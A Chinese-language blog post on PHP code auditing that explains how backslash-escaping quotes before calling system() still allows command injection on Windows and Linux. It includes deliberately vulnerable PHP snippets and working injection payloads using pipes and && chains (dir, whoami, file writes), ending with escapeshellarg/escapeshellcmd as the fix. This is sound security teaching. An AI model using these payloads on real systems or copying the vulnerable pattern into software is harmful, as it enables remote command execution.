php代码审计之命令执行中windows/linux的差异化问题
昨天好基友发来了一段代码,还是挺有趣的,记录下:
<?php $a = '\''.str_replace("'","\'",$_GET[1]).'\''; $b = '\''.str_replace("'","\'",$_GET[2]).'\''; echo($a); echo "<br/>"; var_dump($b); echo "<br/>"; var_dump('echo '. $a . $b); echo "<br/>"; system('echo '. $a . $b); echo "<br/>"; ?>
代码如下,要求windows和linux下执行命令
先从windows下手吧:
payload:
test' | echo 123 > helloworld.txt |dir &2=1
页面输出:
'test\' | echo 123 > helloworld.txt |dir ' string(3) "'1'" string(50) "echo 'test\' | echo 123 > helloworld.txt |dir ''1'" 驱动器 C 中的卷没有标签。 卷的序列号是 4A10-0977 C:\phpStudy\WWW 的目录
发现即使转义了单引号仍待可以命令执行,问题出在哪里呢?
打开windows cmd:
直接输入这段语句:
echo 'test\' | echo 123 > helloworld.txt |dir ''1'
此时我的桌面上就有了一个helloworld.txt文件
其实问题就出在程序员误把\认为是windows的转义符,其实windows真正的转义符就是(^):
我们可以多测试几次看看:
测试用例如下:
先测试有效的:
C:\Users\maniac123\Desktop>echo 'test\' | echo 123 123 C:\Users\maniac123\Desktop>echo 'test | echo 123 123 C:\Users\maniac123\Desktop>echo 'x''' | echo 123 123 C:\Users\maniac123\Desktop>echo 'x | echo 123' 123' C:\Users\maniac123\Desktop>
发现在windows下,如果使用\'的方式去处理修复rce,是不对的,通过连接符,将会畅通无阻.如果不去处理正确的转义连接符,会导致rce:
比如说我这样输入:
C:\Users\maniac123\Desktop>echo 'x 111.txt\| echo 123' 123' C:\Users\maniac123\Desktop>
仍然是正常输出,除非使用^去处理连接符:
C:\Users\maniac123\Desktop>echo 'x 111.txt^| echo 123' 'x 111.txt| echo 123' C:\Users\maniac123\Desktop>
如果使用^去转义,只会打印,而不是执行
那么上面那段代码在windows下无效,建议使用:php自带的命令执行处理函数escapeshellarg或escapeshellcmd
无效测试用例:
C:\Users\maniac123\Desktop>echo "xxx | echo 123" "xxx | echo 123" C:\Users\maniac123\Desktop>echo "xxx && echo 123" "xxx && echo 123" C:\Users\maniac123\Desktop>
在windows下如果可控的数据被双引号包裹,那又不一样了,windows认为他只是字符串,他只会原样输出:
这样,都不需要转义连接符号,就把漏洞扼杀在摇篮里了,真的无懈可击吗?
稍微修改下输入:
C:\Users\maniac123\Desktop>echo "xxx^" | whoami maniac123-pc\maniac123 C:\Users\maniac123\Desktop>echo "xxx\" | whoami maniac123-pc\maniac123 C:\Users\maniac123\Desktop>echo "xxx/" | whoami maniac123-pc\maniac123
如果有程序员二次画蛇添足做多余转义处理,那么就会逃逸导致再次命令执行:
在windows下只要看到"了,就代表是闭合了,前面什么符号都没关系!
通过这个差异,下次源码审计就可以钻这种空子,实现命令执行.
windows大致说完了,现在来讲讲linux下的问题:
linux的转义符号有两个:分别是(\)和(''),大多数都知道前者,后者容易被忽略
都可以起到转义的作用
当使用(\)或者('')转义连接符的时候,命令执行会失败:
上测试代码:
<?php $t1 = "这是可控点1"; $t2 = "这是可控点2"; $a = "\'".str_replace("'","\'",$t1)."\'"; $b = "\'".str_replace("'","\'",$t2)."\'"; echo $a; echo($a); echo "<br/>"; var_dump($b); echo "<br/>"; var_dump('echo '. $a . $b); echo "<br/>"; system('echo '. $a . $b); echo "<br/>"; ?>
直接给出payload:
<?php $t1 = "' && echo 11111111 > hello.txt && '"; $t2 = "\'"; $a = "\'".str_replace("'","\'",$t1)."\'"; $b = "\'".str_replace("'","\'",$t2)."\'"; echo $a; echo($a); echo "<br/>"; var_dump($b); echo "<br/>"; var_dump('echo '. $a . $b); echo "<br/>"; system('echo '. $a . $b); echo "<br/>"; ?>
打印输出看下:
\'\' && echo 11111111 > hello.txt && \'\'\'\' && echo 11111111 > hello.txt && \'\'<br/>string(7) "\'\\'\'" <br/>string(53) "echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'" <br/>'' sh: '''\\: command not found
把这部分取出来即可:
"echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'"
单独拎出来:
echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'
linux cmd下运行下:
为什么可以?
前面的代码发现,这里把'转换成\',比较有迷惑性的输入:
\'\'\'\\'\'
再次运行:
输出
'''\\
前面说了linux 下 '*'才是转义符,\也是转义符:
分开执行:
这样就清晰多了
linux和windows下区别很大:
如果linux这样做,直接gg了,引号包裹里面,就扼杀了命令执行的可能性:
还是\'使用不当,导致想输入的恶意语句逃逸:
[root@VM-0-6-centos ~]# cat 123.txt cat: 123.txt: 没有那个文件或目录 [root@VM-0-6-centos ~]# echo '\'|echo 123 > 123.txt|\\'' -bash: \: 未找到命令 [root@VM-0-6-centos ~]# cat 123.txt 123 [root@VM-0-6-centos ~]#
为什么可以执行命令?因为转义符!导致我们的{echo 123 > 123.txt}是一个整体,直接命令执行
其实不借助第二个可控参数,仍然可以命令执行只要这样:
<?php $t1 = "' && echo 11111111 > hello.txt && '"; $t2 = ""; $a = "\'".str_replace("'","\'",$t1)."\'"; $b = "\'".str_replace("'","\'",$t2)."\'"; echo $a; echo($a); echo "<br/>"; var_dump($b); echo "<br/>"; var_dump('echo '. $a . $b); echo "<br/>"; system('echo '. $a . $b); echo "<br/>"; ?>
输出
\'\' || echo 11111111 > hello.txt || \'\'\'\' || echo 11111111 > hello.txt || \'\'<br/>string(4) "\'\'" <br/>string(50) "echo \'\' || echo 11111111 > hello.txt || \'\'\'\'" <br/>'' <br/>
其中最终的输出的是:
echo \'\' || echo 11111111 > hello.txt || \'\'\'\'
都一一转义了,此时此刻{echo 11111111 > hello.txt}就是一个整体
那么在linux下命令执行修复方案如下:建议使用:php自带的命令执行处理函数escapeshellarg或escapeshellcmd
还是比较有意思的,呵呵